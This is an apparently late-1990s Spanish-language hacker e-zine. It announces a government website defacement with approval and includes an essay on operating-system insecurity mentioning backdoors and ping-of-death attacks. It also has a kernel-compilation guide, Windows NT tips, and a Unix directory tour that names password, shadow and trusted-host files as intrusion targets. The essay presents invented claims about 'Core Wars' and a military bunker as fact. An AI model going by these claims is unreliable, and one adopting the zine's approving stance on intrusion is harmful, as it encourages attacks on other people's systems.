  http://members.xoom.com/planetaubre para  quienes  no  pudieron ver la
  pgina en ese momento.

  El 01/11/99 fu hackeada la  pgina  del CNU (www.cnu.gov.ve)  por  el
  pana Supreme, este hack fu realizado en apoyo a las tarifas planas  y
  en  contra del  monopolio de  la fucking CANTV, creo que ya a cantv no
  le   quedan   muchos  simpatizantes  :-|, la  web   hackeada  est  en
  www.2600.com.


   ͻ
͹ Sistemas Operativos 100% Seguros ͹Teken Melocotoff
   ͼ

  No existen, y aqui detallar por qu.

  Mucho  se  ha  mencionado sobre unix, y todas las tcnicas  utilizadas
  para  hackear. Pero  ultimamente he escuchado que la razn por la cual
  se enfoca el hack a  unix es  porque Nt es  invulnerable.  FALSO.  Mas
  distante de la realidad no  pudo  haber  estado  este comentario. Aqui
  dare una introduccin al tema.

  1: Unix- En el  principio  de la  arpanet, se  necesitaba  un  sistema
  operativo que fuese capaz de comunicarse eficientemente en un ambiente
  de red, y  tener  suficiente  flexibilidad para poder  economizar a lo
  mximo  sus  recurso  mientras  que  a  la  vez  le  proveia soporte a
  mltiples usuarios. El sistema operativo que salio a relucir fue unix.
  Dado que en esos das los nicos que tenan acceso al Arpanet eran los
  que estaban involucrados con la arpanet, la seguridad en este  sistema
  operativo erase casi nulo, una formalidad, ya que la idea era que toda
  la informacin en estos servidores debera ser libremente  distribuida
  dentro de la red. Luego,  mediante la red  fue creciendo, la necesidad
  se hizo evidente, y el  sistema  unix pudo  implementar  un sistema de
  seguridad  que  sigue   siendo  utilizado  a  la  fecha,  con  ciertas
  variaciones.

  Ahora las debilidades de unix son la siguente:

      1. No es un sistema operativo dirijido a la seguridad. Tengamos en
      mente que unix fui dirijido para facilitar  el  intercambio  LIBRE
      de  archivos  y  la  seguridad  fue  un aspecto secundario. Por lo
      tanto,  unix  no  es  tan  seguro  como si hubiese sido creado con
      seguridad  en  mente. Por eso que se ve que muchas distros/sabores
      vienen  sin  los  password  shadowed,  y  que  luego  le  toca  al
      administrador decidir si lo implementa o no.

      2. Facilidad  de  modificar  el  cdigo  del sistema operativo. El
      sistema  unix  se  creo   con  el  programador  en  mente.  Si  el
      administrador   de   sistema  encuentra  una   dificultad  en  una
      implementacin de etc, el mismo  tiene acceso  al codigo fuente, y
      puede  modificarlo  de  imediato,  para resolver el problema y no
      esperar que los productores saquen un fix. Esta facilidad  tambin
      es una debilidad. Un ejemplo  habla por si  solo. En  koan hace un
      par de meses, se dio a conocer que mysidias habia  conseguido root
      en koan. Recolectando informacin de crontab, el/ella pudo ver que
      entre los trabajos que realizaba habia una compilacion mensual  de
      ping.c. Lo  que  el/ella hizo entonces fue modificar el ping.c  lo
      suficiente para crear  un backdoor. Esta es una situacin  idonea,
      claro esta, pero  muchas  variantes  se  pueden dar, solo falta la
      imaginacin, y conocimiento de programacin  para  poder  crear  e
      imaginar nuevas implementaciones.

      3. Documentacin de los holes. Esta es un arma de doble filo. Cada
      vez  que  se  publica  un  exploit, se hace con  la  intencin  de
      advertirle  a los  administradores de sistemas de una debilidad en
      su sistema, pero  tambien a la vez con el conocimiento que alguien
      puede utilizar la informacin para atacar el sistema.

      4. Bugs y Holes. Nadie es perfecto.

  Las debilidades de los sistemas  operativos  windows95/98/NT (de ahora
  en adelante win) son muy similares a las que  tiene unix, excepto  con
  el sabor  nico  y  distinto que le a microsoft a todos sus productos.
  Veamos:

  1.Windows95/98/NT/2000 - se creo con la facilidad de uso e instalacin
  en mente. Seguridad aqui mas que en ningn otro lugar es cosa de risa.
  Los archivos de .pwl que definen  los  usuarios son fcilmente  vistos
  por  cualquiera, y sus  demas medidas de seguridad son  como hechas de
  relajo. Mucho  se dice  que  las  mquinas win son mas seguras que las
  Unix. Falso. Los  hackers y los  administradores  prefieren a unix por
  que  es  robusto, y  por  lo tanto, ha de contener la informacin  mas
  importante.  Los  servidores  nt  se  les  pone  como  backups  de los
  servidores en unix, o  realizando  tareas  que  no  requieran de mucha
  seguridad. Por lo tanto veran  muchas veces que el  servidor principal
  en una  red es  una unix, con  una que  otra nt haciendo  una que otra
  tarea. Por esa misma insignificancia que se le da a los nt es que  los
  hackers le hacen caso omiso, y cuando se presentan  con una, no  saben
  que hacer.

      1. Seguridad por  oscuridad. La  lgica  de  esto  es que si nadie
      sabe como  funciona, no podrn  descubrir  como hacer que funcione
      distinto.  Falso. Cualquiera que tenga  en sus  manos  el  sistema
      operativo  puede   someterlo  a  pruebas   rigurosas   a   ver  su
      comportamiento, que es lo que hacemos  los hackers, y lo  que  los
      administradores deberan hacer tambin.

      2. Cdigo fuente secreto. Que  significa esto? Pues que el  cdigo
      fuente de los  sistemas operativos  es un secreto,  y esto  genera
      ciertos  problemas que ya se conocen muy bien. Un administrador se
      ha  dado  cuenta  que  su sistemas tiene una hueco de seguridad, y
      avisa a redmond para que saquen un patch. Como el administrador no
      tiene el codigo fuente en sus manos no puede:

			 a. solucionar el problema el mismo
			 b. especificar cual es el problema

      Por lo tanto los  programadores  en redmond  tienen que revisar el
      cdigo para  ver si  ellos encuentran  el  problema. Una vez hecho
      eso, tienen que sacar el patch  lo mas rpido posible,  pero  como
      nada mas  son  unos  cuantos  en ves de una comunidad  entera, les
      toma tiempo. Mientras tanto el administrador es presa de ataques y
      no  puede  hacer  nada.  Cuando  por  fin  salga  el patch, o este
      presenta otro hueco por mala  programacin,  activa un  hueco  que
      antes no  se presentaba, o simplemente sale a relucir otro  hueco,
      y de nuevo el ciclo.

      3. Publicidad. Microsoft se rige mucho por la publicidad. Ellos en
      vez de sacar un producto cuando est  listo y preparado, lo  sacan
      cuando las estadsticas  dicen que el  mercado esta favorable.  Si
      derepente  el  mercado  esta  favorable, y el sistema operativo no
      esta listo, asi mismo mandan el sistema operativo para el mercado.
      De aqu viene buena parte de los huecos que encontrarn en win.

      4. Mala  programacin. simplemente  no se  le da la  importancia a
      estudio de los algoritmos usados,  para evitar  futuros percances.
      Para cada SO que haya sacado windows, hay un sin numero de patches
      que hay que  instalar porque algn  consumidor  se  percato  de un
      problema mientras  usaba su mquina,  situacin que debi  haberse
      prevenido y solucionado antes de que el producto salga al mercado.
      Para  los  que  usan NT ya es  bien sabido  que  para  implementar
      cualquiera sombra de seguridad  deben instalar service pack 1-4  y
      power pack  o algo pack 1-4. y  an as no  termina nunca. windows
      2000  no  es  mas  que  un  gigantesco  parche a todos los errores
      pasados. Y tambien  aqui es el  punto  principal  por donde atacar
      win. ejemplos famosos, los nukes. Alguien jugando con los socks de
      windows vio una falla, y  creo los  nukes. No hay  una  versin de
      windows que no  sea  vulnerable a  casi  todos estos nukes, y para
      cada  parche  que sacan sale  una mutacin  nueva, PARA  LA  MISMA
      DEBILIDAD. osea que los parches nada mas tapan por encimita, y  no
      sirven  para  proteger  totalmente. Y tambin  los  famosos ping o
      death, no hay mquina  que se le resista, NI PARCHE TAMPOCO, M$ ha
      hecho caso omiso de el nuke mas simple que existe, un simple ping.
      Y  por eso, con nukenabber o con upgrade o con patch o con win98 o
      con nt, todos los sistemas win son presa facil de el ping o death.
      Increible.

      5. Mal soporte. De nuevo,  si se presenta  un problema, los chicos
      de redmond son duros para  admitir  sus errores.  Recientemente se
      public un  artculo  detallando  que el 90% de los  servidores de
      microsoft (IIS) son vulnerables A UN SOLO EXPLOIT,y esto que no se
      han  documentado  los   demas.  Los  especialistas   en  seguridad
      advirtieron a microsoft  del  problema, pero  ellos hicieron  caso
      omiso, y los seores publicaron el artculo como obligacion moral.
      Todavia se espera que M$ diga o haga algo.

      6. Bugs y holes. Nadie es perfecto, y menos M$.

  Hemos visto que unix y win presentan muchas faltas, algunas similares,
  otras distintas. Pero si estos no son sistemas seguros, cuales son?

  *En la montaas rocallosas de los estados unidos 1.5  kilometros  bajo
  toneladas  de  piedra  y  montaa,  se  encuentran  una  de  las redes
  militares mas completas y seguras del mundo.

  Aparte de tener montaas como techo, la seguridad incluye:

  * El  complejo esta  seccionado  en forma  de matriz,  para que ningn
    impacto unico pueda destuir la totalidad de complejo

  * Los salones tienen muros y techos de concreto reforzado  de mas de 2
    metros y medio, mas una capa de acero y cobre para recibir impacto y
    proteger de interferecia electromagntica.

  * Las  conexiones  entre  las  mquinas  se  hace  a travs de  cables
    reforzados  encapsulados  en  un  tubo de  acero con forro de cobre,
    cubierto por otro tubo  de concreto. en  caso que  un cubculo de la
    matriz sea destruido, una pared de concreto reforzado de 2 metros de
    espesor, ademas de dinamita que causar un derrumbe de ambos lados de
    la pared, efectivamente cortan  la comunicacin y cualquier  intento
    de ingresar a otro cubculo.

  * Propio sistema operativo (probablemente resultado de core wars)

  * Dios sabra  que otras cosas tendra  (extraido de la  serie time life
    sobre   computadoras,  los  libros  de  aplicaciones   militares   y
    seguridad).

  Otros:

  Core wars es un wargame  auspiciado  por el gobierno de los estados en
  el cual solo  participan  los  mejores  hackers del mundo. Esto es por
  invitacin claro esta. Como funciona? facil, la idea es tomar posesin
  de una  mainframe a como de  lugar, incluyendo  desactivando los demas
  competidores. Asi que como hacen para seguir en el juego sin  que otro
  hacker lo saquen?  Crean sus  propios sistemas operativos. Estos no se
  basan en  ningun  kernel  que  se  conozca,  sino que  ellos tienen el
  conocimiento,  la  habilidad,  y la  capacidad  para crear sus propios
  sistemas  operativos.  Claro  esta  que  tienen  que  implementar  los
  protocolos utlizados, pero cuando tu inventas tu  sistema operativo no
  es  ningn  problema  asegurate  de implementarlo de forma segura. Una
  cosa si, no obstante que tan seguras son, no son al 100%. La seguridad
  total de un sistemas indica que para que este no corra riesgos no debe
  existir, y eso es  imposible, asi  que nos podemos  acercar al 100% de
  seguridad, pero nunca alcanzarlo!. Es como la velocidad de la luz.  De
  estos sistemas  operativos  es  problable  que  haya nacido el sistema
  operativo que utilizan en el bunker  en la rocallosas (la localidad  y
  algunas de las medidas de seguridad  de el bunker son dominio pblico,
  lo demas, top secret que mas va ser).

  Todava  nos  falta mucho para  poder estar a ese nivel, pero para eso
  tenemos  que  comprender  y  utilizar  el  conocimiento  de que ningn
  sistemas operativo es seguro, y por ahi tenemos que comenzar.

           Teken Melocotoff              
Escojamos. Seremos lobo, pastor, u oveja. 
           www.hven.com.ve              
           public.cwp.net.pa/~jomasa     

   ͻ
͹ Compilando el Kernel ͹DoctorX
   ͼ

  El Kernel en sistemas Unix es el mediador entre el software y hardware
  ya que en  estos sistemas ningn  programa o aplicacin  tiene  acceso
  directo  al  hardware, ya que solo se accede a el a travs del kernel.
  Cada Vez que compila el kernel estamos reconstruyendo todo el software
  que manejar la interaccin con el  hardware y muchas veces ocurre que
  cierto   nuevo   hardware  que  acabas  de  adquirir  no  te  funciona
  simplemente porque no existe el controlador para ello, o porque no fue
  incluido en tu configuracin del  kernel, por estas cosas es necesario
  recompilar el kernel.

  Cuando el Linux se instala coloca una configuracin del Kernel Standar
  o sea te coloca los controladores mas  utilizados, pero muchos de esos
  Controladores son para un HardWare que no tienes en tu maquina por eso
  los drivers de  ese  hardware solo  ocupan espacio en tu memoria. Para
  optimizar la configuracin de tu kernel debes recompilarlo y para ello
  debes estar seguro de que posees las fuentes del kernel. 

  Si deseas obtener las fuentes del kernel puedes  visitar estos  sitios
  FTP o probar en kernel.org.
 
        
  USA:         sunsite.unc.edu:/pub/Linux/kernel
  USA:         tsx-11.mit.edu:/pub/linux/sources/system
  UK:          sunsite.doc.ic.ac.uk:/pub/unix/Linux/sunsite.unc-mirror/kernel
  Austria:     ftp.univie.ac.at:/systems/linux/sunsite/kernel
  Alemania:    ftp.Germany.EU.net:/pub/os/Linux/Local.EUnet/Kernel/Linus
  Alemania:    sunsite.informatik.rwth-aachen.de:/pub/Linux/PEOPLE/Linus
  Francia:     ftp.ibp.fr:/pub/linux/sources/system/patches
  Australia:   sunsite.anu.edu.au:/pub/linux/kernel
  Venezuela:   kernel.linux.org.ve/pub/linux/kernel/v2.2/linux-2.2.10.tar.bz2

  Pasos para Recompilar el Kernel:

  1.- Identifica  el  hardware  que posee tu mquina (tarjetas de audio,
      video cdrom drive, hd etc)

  2.- # cd /usr/src/linux

  3.- # make menuconfig o en X-WIN =======> #make xconfig

  4.- En este Punto debes seleccionar los controladores y demas opciones
      que estaran disponibles en el kernel.

    Y      - significa SI
    M      - Modulo o incluir como un modulo
    N      - excluir
     
  5.- Seleccin de los Modulos y Controladores disponibles.
    
        Code Maturity Level Options
        ---------------------------
  Esta parte si usted la activa se le preguntara a usted por drivers que
  falten o por los cdigos completos de los drivers que no lo estn.

        Proccesor Types and Features
        ----------------------------
  En  esta  seccin  usted  puede  cabiar  el  tipo de arquitectura para
  optimizar el kernel por defecto aca esta seleccionado "386" pero usted
  puede  cambiar  esto  por  pentium  o  cualquier otro disponible y mas
  adecuado a su procesador, la  ventaja es que  un kernel compilado para
  386 puede ser cargado  en cualquier  arquitectura x86 mientras  que un
  kernel  para pentium es para  pentium. En esta parte si su  maquina no
  posee coprocesador  matemtico como  sucede  con las 386,486 y algunas
  pentiumusted puede  agregar "kernel Math Emulation" para que el kernel
  se encarge de esa funcin.

        Loadable Module Support
        -----------------------
  Esta  parte es importante ya que para que el kernel sea mas rpido  se
  puede habilitar que los controladores sean cargados por modulos asi se
  podr  tener un controlador cargado en memoria solo cuando se necesite
  sin tener que recompilar el kernel.

        General Setup
        -------------
  En  esta seccin se eligen las opciones generales que tendra el kernel
  como lo son:

     1.- Networking Support : Soporte para trabajo en Red.
     2.- PCI Support : Soporte para dispositivos PCI.
     3.- Kernel Support for a.out binaries: soporte para binarios a.out
         al igual que este existen opciones para poder utilizar binarios
         de JAVA,ELF y MISC.
     4.- Parallel Port Support : Soporte para los dispositivos que
         utilizan puerto paralelo asi como lo son las impresoras y  ZIPs
         drive.

  Estas son algunas de las opciones disponibles.
 
        Plug and Play Support
        ---------------------
  Si Activa esta opcin tendra soporte para dispositivos PNP.
 
        Block Devices
        -------------
  Esta  parte  es la referente a los dispositivos tipo bloque tales como
  discos duros, unidades de CD,SCSI y floppy disk.

        Networking Options
        ------------------
  Esta  parte  en  la configuracin del Kernel habilita las opciones  de
  controladores  para  los  trabajos  de  red  tales  como Masquerading,
  Firewalling, algunos  Protocolos Especiales como IPX, enrutamiento  de
  paquetes (router), filtrado de Sockets y Proxy entre otras.
 
        SCSI Support
        ------------
  Activa el soporte para dispositivos SCSI, le presenta una lista de los
  Drivers  disponibles  para ciertos Dispositivos tales como Unidades de
  CD, y otras tarjetas SCSI, dndole la oportunidad de escojer.

        Network Device Support
        ----------------------
  Activa  el  Soporte para el  hardware o interface  para trabajo en red
  tales como las NIC, ademas de algunos protocolos como PPP y PLIP.
 
        Amateur Radio Support
        ---------------------
  Active esta opcin si desea conectar su Linux Box a un Radio.
 
        IrDA Subsystems Support
        -----------------------
  Si  activa  esta  opcin usted  podr utilizar Medios Infrarojos  para
  manejar datos, o sea tendra soporte para esos protocolos.

        ISDN Support
        ------------
  Esta opcin  habilita  el  soporte  para  conexiones  ISDN (Integrated
  Services Digital Networks), este tipo de conexin es muy utilizada con
  PPP y PLIP  para conectarse  con algunos ISP mediante un tipo especial
  de telefona digital.
 
        Old - CDROM Drivers
        -------------------
  Soporte para unidades de CD que no son IDE o SCSI.
 
        Character Devices
        -----------------
  En esta seccin se activa el soporte para terminales virtuales, manejo
  de mas de 4 puertos seriales, autodeteccin de las IRQs en los puertos
  estandard, soporte para mouse no seriales etc.

        FileSystems
        -----------
  Esta  parte  incluye  el  soporte para distintos tipos de sistemas  de
  archivos o File Systems que seran soportados por el kernel tales  como
  VFAT (WIN9X), MSDOS, ISO 9660 (para CDs), Amiga y Apple entre Otros.
 
        Console Drivers
        ---------------
  En esta parte se coloca el soporte para los drivers que son utilizados
  en la consola para manejo de tarjetas de video y monitores.
 
        Sound
        -----
  En este Punto se Incluye el Soporte para las Tarjetas de Sonido.
 
        Kernel HAcking
        --------------
  Con  esta  opcin  podras  tener  acceso a ciertas informaciones en el
  buffer y vaciarlas  en un  disco en  caso de que tu mquina se cuelgue
  por nombrar alguna funcin.
 
  Luego  de  haber  contestado todo lo referente a que modulos y soporte
  incluir  en el  kernel entonces debe seleccionar la opcin "EXIT" para
  guardar la configuracin en el archivo de  configuracin  o seleccione
  "Save   Configuration   to   an   Alternate   File"  para  guardar  la
  configuracin en otro archivo. 


  6.- # make dep

  7.- # make clean

  8.- # make zImage
     
  Despus de este ltimo paso usted tendra ya compilado el nuevo kernel,
  puede  ser  que  usted  vea  un  error dicindole que la imagen es muy
  grande o algo por estilo, eso sucede por el tamao del kernel o porque
  el  kernel  no  esta  colocado  donde  dice  el  lilo  que  esta. Para
  solucionar lo  ultimo usted debe mover la imagen "vmlinuz" a la raiz o
  a otro directorio  de su  preferencia, luego edite el /etc/lilo.conf y
  observe la linea que dice:
              
  image=/boot/vmlinuz   <===== esto puede cambiar

  La esencia  esta en  cambiarle esa  lnea  dndole la  direccin de el
  nuevo  kernel  compilado,  si  movemos  la  nueva  imagen  a  la  raiz
  colocamos:
             image=/vmlinuz
    
    Luego de hacer esto sigue:
  
  #lilo enter
 
  luego  se  debe  reiniciar  la maquina  si en el arranque  no sale  un
  mensaje  que  diga "Kernel  PANIC"  entonces  todo  esta  bien  de  lo
  contrario debera volver a  reiniciar en  modo de  rescate para colocar
  nuevamente la imagen anterior del kernel o  mejor que  esto  en vez de
  utilizar "make zImage" utilice "make zdisk" y  te  crea la  imagen del
  kernel en un disco 3 1/2 de esta manera al  reiniciar  si le  mandas a
  leer desde el floppy entonces te carga el nuevo kernel desde alli y en
  caso  de  tener  problemas lo nico que necesitas es  reiniciar y todo
  esta como antes.
  
========================================================================
DoctorX  email: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
[
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]
http://www.hven.com.ve  Hackers Venezuela
http://bactery.8m.com   Bactery - LabX
comentarios enviarlos a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ,
flames enviarlos a /dev/null
========================================================================

   ͻ
͹ Algunos Tips para la instalacin de NT ͹DunkelSeite - Merlin
   ͼ

                **************************************
                Escrito en Notepad+ (Win95) para HVEN
                Por: Dunkelseite - 23/05/1999 (1:17am)
                Merlin 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
                Web site: NO, gracias a Xoom.
                **************************************

  En  este  artculo se explican (de forma sencilla)  algunos "trucos" o
  "tips"  para la  instalacin  de  Windows  NT 4. Fue  escrito  con los
  apuntes  que  tengo  de una  conferencia que asist sobre microsoft NT
  server/WorkStation. Lo que hago es  escribir  lo  que me  pareci  ms
  importante (lo dems fue un poco aburrido y trivial).

  * En el directorio "/support" (dentro de NT) existe un archivo llamado
    "HCL" (Hardware Compatibility List) en la que hayars  un listado de
    todo el Hardware compatible con esa versin de NT.

  Recomendacin: Lee  esa  lista  antes  de  instalar  NT 4  o  si ests
  prestando un servicio a terceros.

  * Cmo  hacen  IBM, Compaq, Dell, etc para tener un NT pre-instalado?
    Muy fcil. Para crear un "disco de preinstalacin" de NT debes tener
    un  Disco  Duro  que  se usar como "master" y simplemente sigue los 
    siguientes pasos:

     a) Ejecuta el "Setup Manager" y espera  que se complete la
        "primera etapa" de este proceso. En  esta etapa slo se
        copian archivos y no se detecta hardware, por lo tanto,
        cuando reinicie el computador, apgalo y desconecta  el
        Disco Duro. Ya tienes el disco que usars como "fuente"
        para las futuras instalaciones de NT server.

     b) Copia el contenido  del Disco "Fuente" en el  disco que
        se instalar NT server (al que llamaremos "destino").

     c) En   el   directorio   "$winnt$.~ls/i386"   del   disco
        "destino",  edita el  archivo "dosnet.inf" y  coloca un
        comentario  en  la lnea  de "interserv" si  no  deseas
        instalar el Servidor Web "Internet Information Server"
        (IIS).

     d) Coloca  el  Disco  duro  "destino" en  el  computador y
        encindelo.

  * Publicacin recomendada por el expositor de MS:

    "Windows open System Architecture".

  * Perfiles  de  usuario: Cada usuario posee un perfil  que le  permite
    acceder  (o no) a programas, directorios, impresoras, etc. Adems de
    cosas como protector de pantalla, fondo del desktop, etc.

  Existen dos tipos de perfil. Local: Este perfil se graba localmente, o
  sea, en el computador del usuario.

  Nmada (ROAM): El  perfil  se  graba  en  el servidor y la Estacin de
  Trabajo (E/T) la lee de el.

  Notas: Si  los  usuarios  poseen  diferentes  Sist. Operativos Windows
  (95/98/WorkStation), debe trabajarse con "Perfil local".

  Ahora,  el  trabajar  con  "perfil local"  da la posibilidad de que un
  intruso  pueda  tomar este perfil de la E/T y utilizarlo para penetrar
  en la red.

  Si  se  utiliza  perfil  Nmada,  es recomendable renombrar el archivo
  "ntuser.dat"  (que  est  en  el  servidor)  por  "ntuser.man"  (man =
  mandatory). As el usuario no puede cambiar su perfil.

  Tambin  se  recomienda  crear  directorios  para  cada  usuario en el
  servidor y  obligar  a que no graben ningn tipo de informacin en sus
  discos duros. Su usamos estaciones "MS WorkStation" podemos denegar al
  usuario permisos para que grabe data localmente.

  El expositor de MS hizo incapi en que NT Server es inviolable  ya que
  utiliza  un mtodo  de encriptamiento de passwords de 128 bits. bueno,
  todos  sabemos  que  siempre  hay un "hueco" por donde entrar, pero si
  somos administradores de uns Red NT, el seguir los consejos anteriores
  nos ayuda a incrementar la seguridad.

  * Otro  punto  que  se toc  fue  el  de cmo  hacer  para evitar que la
    impresin de documentos trabaje lentamente en la red.

  Solucin: "jugar"  con  las  prioridades de los programas, usuarios de
  impresin, etc.

  Cuando se  trabaja con un programa de facturacin creado (por ejemplo)
  en Foxpro, podemos  bajar la  prioridad de este programa para permitir
  que la impresin de dichas facturas sea ms "fludas".

  Cmo hacerlo?, escribimos:
  NET START "aplicacin.exe" /LOW ( "/HIGH", "/NORMAL")

  * Para capturar puertos de impresin para programas basados en DOS:
    NET USE LPT1 \servidor\impresor

    Ejemplo: NET USE LPT1 \server1\epsonlx300

  * Actualizaciones:
    Si trabajamos con NT server se debe instalar el Service pack 4  para
    corregir ciertos problemas Y2K (aos 2000)  para  actualizar el IIS2
    al IIS4 debemos instalar el "Option Pack 4".

    Si  queremos  actualizar  NT server  y  el  IIS 2, entonces  debemos
    instalar  primero el "Option Pack 4" y luego el "Service Pack 4", no
    al revs.

  * El  archivo  "pnpisa.inf" (que est  en el Cd de NT) es recomendable
    instalarlo  si  tenemos que  trabajar con una tarjeta ISA que sea un
    tanto  "fastidiosa". El  archivo  "pnppci.inf"  nos  ayuda  con  las
    tarjetas PCI, pero est en el Web site de MS en la zona de "Soporte"

  * Para  instalar Office e Internet Explorer 4 de  forma automtica con 
    las opcines "tpicas", haz la instalacin de la siguiente forma:

     a) Para Office NO OEM:
	instalar /Q1 /K "serial del office"

     b) Para Office OEM:
	instalar /Q1 /C "serial del office"

     c) IE4:
	ie4setup /Q

  * Windows 98: En  el  directorio "/win98/tools/admin" se encuentra  un
    programa (el nico que  hay ah) que permite crear pre-instalaciones
    de Windows 98.

  * Windows 98: Comandos en la instalacin

/is Instala sin comprobar el sistema
/iw Instala sin informacion de copyright
/id Instala sin verificar el espacio libre

  * Windows 98: Para que  scandisk no se active automticamente luego de
    que windows  se cuelgue (cosa muy frecuente, vamos a inicio/ejecutar
    y escribimos:

msconfig

  Y buscamos avanzado y ah marcamos  la opcin desactivar sandisk luego
  de un apagado incorrecto.

  * Windows 98: Logo de nuestra empresa
    En muchos sistemas de prestigiosas  marcas (Dell, IBM, Compaq, etc.)
    vemos  que  cuando  entramos  a  las  propiedades del sistema (panel
    control/sistema o pc/propiedades) tiene  el logo del fabricante y un
    botn donde usualmente se encuentran los telefonos de  soporte de la
    empresa.

  Para hacer esto necesitamos un grfico de 160x120 pixels que  vamos  a
  nombrar oemlogo.bmp en el directorio system de  windows  y otro que se
  va a llamar oeminfo.ini que debe ser as:

[general]
Manufacturer=
Model=
[Support Information]
Line1= 
Line2= 
Line3= 
Line4=
Line5= 
Line6=

  El  botn  con de  soporte no aparecer  si dejamos los parametros  en
  blanco (line 1, 2, 3, etc.)

  * Algunos links interesantes:

http://www.solucionesnt.com
http://www.itok.com
http://www.microsoft.com/year2000
http://www.microsoft.com/ntserver
http://www.microsoft.com/oem. En  este  site  se recomienda registrarse
  para luego poder acceder a: http://oem.microsoft.com. Aqu hay trucos
  y consejos.

  Tambin  pueden  registrase  en  la zona de "tech net" de Microsoft y
  podrn recibir  invitaciones  para  talleres  (muchos gratuitos).  No
  olviden hacerlo en la zona correspondiente a su pas de origen.

   ͻ
͹ Estructura de ficheros bajo Unix/Linux ͹Supreme - Merlin
   ͼ

  Una de  las cosas  fundamentales  que hay  que conocer a la hora de un
  hackeo a un sistema Unix/Linux es que hay en cada fichero de este y en
  general conocer el sistema ext2. Aqui veremos que hay en las  carpetas
  y asi conoceremos mas a fondo este sistema operativo.

  En  el  directorio  raz (o  punto  de  montado)  se  encuentran   las
  siguientes carpetas o subdirectorios:

#/bin/:

  En  este  encontraremos  los  archivos  ejecutables  de  las   ordenes
  esenciales  para el sistema. Son ordenes que cualquier  usuario  puede
  emplear pero que deben estar disponibles bajo cualquier circunstancia.
  Si estos archivos se pierden no podremos iniciar el sistema. 

#/boot/:

  Aqu  est toda  la  informacin  utilizada  por el  cargador de linux
  (LILO), bsicamente esta es la carpeta que utiliza linux  para iniciar
  el sistema, aqu se encuentran los niveles de arranque.

        Niveles de arranque (David Rubio)

  En Solaris  (y en Linux) hay 6 niveles de ejecucin, que son modos  de
  funcionamiento  del sistema. Depende de en que nivel estemos,  estarn
  corriendo unos servicios u otros.

  Nivel 0: Es el nivel de la PROM (Programable ROM)
  Nivel 1: Estado administrativo (modo monousuario con algunos  sistemas
  de fichero montados y con el acceso para usuarios deshabilitado)
  Nivel 2: Multiusuario (sin recursos compartidos)
  Nivel 3: Modo multiusuario con recursos compartidos (ES  EL NIVEL  POR
  DEFECTO)
  Nivel 4: No usado 
  Nivel 5: Parada elctrica (solo puede hacerla root) 
  Nivel 6: Rearranque y vuelta al nivel 3 
  Nivle S,s: Monousuario. Sin  acceso de  usuarios (se emplea para hacer
  copias de seguridad)

  Ah se me olvidaba,  cambiar de  nivel es  tan  fcil  como hacer  init
  nivel. Lo mas frecuente es el init 0 para rearranque desde la PROM (en
  plataformas intel no funciona ya que no tienen la PROM) En el arranque
  de Solaris, una vez que se ha cargado el Kernel (nucleo  del UNIX)  se
  arranca el proceso init (/sbin/init). Este proceso lee la  informacin
  del  fichero /etc/inittab que le indica que procesos ha de levantar en
  cada nivel.

  Para cada nivel de ejecucin existe un directorio /etc/rc#.d (es decir
  /etc/rc1.d, /etc/rc2.d .....) En cada  uno de  estos  directorios  hay
  ficheros S* y K* (que  empiezan  por  S y K). Los  que  empiezan por S
  (start) son para arrancar procesos  los que  empiezan  por K  son para
  matar  procesos  (Kill)  Como  el  nivel  0  es  para  rearrancar,  el
  directorio /etc/rc0.d solo contiene ficheros K* para matar procesos.

#/dev/:

  Archivos asociados a dispositivos, O sea el cdrom,  floppy, el  puerto
  de la impresora, los terminales, etc.

#/etc/:

  jejejeje Aqu  hay archivos de configuracin del sistema. El  que  mas
  resalta  es el  passwd (y el shadow en muchos  servidores)  que  tiene
  el  la contrasea de los usuarios encriptada, tambin  esta el archivo
  hostname, hosts, host.allow y host.deny que son archivos importantes a
  la hora del hack  ya que ah estn los servidores confiables desde los
  cuales posiblemente no se necesite autentificacin.

#/home/:

  Este es  el directorio  casa  de cada usuario,  generalmente  se hacen
  subdivisiones de este para los usuarios, tambin  se  puede  encontrar
  las pginas del httpd, ftp y samba aqui (usualmente).

#/lib/:

  Aqu estn  las bibliotecas de  enlace  dinmico  necesarias  para las
  ordenes de /bin y /sbin

#/mnt/:

  Aqu es  donde generalmente se monta el cdrom o el floppy, particiones
  del disco duro (msdos por ejemplo).

#/proc/:

  Sistema de ficheros virtual con informacin sobre el estado del nucleo
  y los procesos en ejecucin. Tambien contiene la actividad  del kernel
  y de  todos  los  dispositivos  de  hardware  y procesos  que se estn
  ejecutando  en el  sistema, o  sea si  quiero saber  que  hardware  me
  reconoci  entro  all y lo  veo o si quiero  saber que recursos estn
  ocupados como memoria libre disco duro etc

#/root/:

  Este es el  direcorio casa  del root o superusuario,  aqu es un  buen
  sitio para buscar archivos shadow sin proteccin.

#/sbin/:

  Aqu  estn las  herramientas  esenciales  para  la administracin del
  sistema. Tambin  se  programan  scripts  para  la  configuracin  del
  sistema, Pero estos nada mas lo puede ejecutar el root

#/tmp/:

  Aqu en  donde se almacenan los archivos temporales. las  aplicaciones
  guardan aqu sus archivos temporales.

#/usr/:

  Este  directorio  contiene  todos  los  archivos  empleados  por   las
  aplicaciones  instaladas  en el  sistema y tambin  puede contener las
  fuentes  del  sistema (/usr/src/linux) necesarios  para  configurar  y
  recompilar nuestro kernel.

#/usr/X11R6/:

  Aqu  hay  archivos  del  sistema de ventanas X Window. Dentro de este
  tambin hay varios directorios mas como:

  +bin/:
    Se almacenan archivos ejecutables de las aplicaciones y herramientas
    X.

  +doc/:
    Varios documentos sobre X Window.

  +include/:
    Aqu hay archivos de cabecera necesarios para la programacin bajo X
    Window.

  +lib/:
    Bibliotecas de funciones enpleadas en la programacin bajo X.

  +man/: Pginas del manual sobre las herramientas de X.

#/usr/bin/:

  Archivos  ejecutables  de la mayor parte de las rdenes y aplicaciones
  disponibles en el sistema.

#/usr/dict/:

  Listas de palabras. Son utilizadas por los programas que corrigen  los
  errores ortograficos.

#/usr/games/:

  Archivos pertenecientes a los juegos y otras cosas por el estilo.

#/usr/man/:

  Pginas del manual en lnea.

#/var/:

  Datos  variables. Esto  incluye  archivos  temporales,  las  colas  de
  impresin y el correo electrnico  ademas los logs del sistema y de la
  mayora de los demonios como por ejemplo el httpd. 

#/var/adm/:

  Contiene  los  logs del  sistema, EL administrador puede utilizar esto
  para ver fallos en el sistema o para detectar intrusos.

#/var/lib:

